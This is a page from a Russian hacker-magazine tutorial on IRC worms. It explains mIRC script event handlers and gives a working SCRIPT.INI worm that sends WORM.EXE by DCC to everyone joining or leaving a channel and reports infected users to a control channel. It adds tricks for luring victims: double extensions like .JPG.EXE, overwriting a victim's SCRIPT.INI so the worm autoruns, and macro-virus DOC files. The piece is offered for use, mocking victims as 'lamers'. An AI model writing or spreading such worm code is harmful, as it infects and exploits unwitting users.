IRC-вирусы

Xakep, номер #021, стр. 021-060-3


Вернемся к первой строке и разберем, как записывается обработчик события.

ON 1: EVENT : [PARAM] { * }

1 - обозначает уровень доступа, на котором исполняется код. Для наших целей вполне хватит единицы.

EVENT - это название события, которое мы хотим обработать.

PARAM - дополнительные параметры, которых может и не быть. В любом случае, для каждого события они свои.

{ * } - код, который будет выполнен, когда произойдет указанное событие.

Основных событий не очень много:

CONNECT - происходит, когда mIRC пытается связать с IRC-сервером.

JOIN - срабатывает, когда любой пользователь заходит на какой-то из каналов.

PART - обратный к JOIN, он срабатывает, когда любой пользователь покидает канал.

TEXT - при получении сообщения.

OP - пользователь получает статус Оператора канала. (Оп'а)

Заметь, что команды из консоли в IRC-клиенте вызывают как "/command", а в скрипте пишутся как ".command" - точка, потом имя команды. Теперь мы в силах немного оптимизировать и дописать червяка:

[Script]

n0=on 1:join:#: { if ( $ n i c k != $me ) .dcc send $ n i c k WORM.EXE }

n1=on 1:part:#: { if ( $ n i c k != $me ) .dcc send $ n i c k WORM.EXE }

n2=on 1:connect: { .msg #WORMagentX Infected $ n i c k is connecting to IRC... }

Первые две строчки срабатывают, когда кто-то, кроме пользователя, заходит или покидает канал, отсылая всем приходящим и уходящим свои копии. Естественно, чтобы пользователь принял копию, стоит назвать ее как-нибудь получше: MySexyPicture.JPG.EXE, к примеру. Впрочем, все это старые избитые трюки. Но и тут есть одна прикольная фича у старых mIRC'ов - все входящие файлы они складывают в свой каталог (к примеру, в C:\mIRC\). Там же лежат и все инициализационные файлы, скрипт-файлы и, следовательно, SCRIPT.INI, который содержит юзерские скрипты. Из SCRIPT.INI скрипты выполняются по умолчанию! И если послать юзеру свой собственный SCRIPT.INI, снабдив его вирусом-червяком, и юзер его примет, то его собственный SCRIPT.INI будет перезаписан и (але-оп!) без лишних усилий лама получает червяка в качестве бесплатного плагина к своему любимому mIRC. Еще вариант - рассылать *.DOC файлы с внедренным макро-вирусом, который запишется еще и в mIRC-скрипт, или вообще снабженный OLE-связкой... но это уже совсем другая история. А мы вернемся к скриптам, чтобы покайфовать вдоволь над уже пораженным юзером.

Назад на стр. 021-060-2  Содержание  Вперед на стр. 021-060-4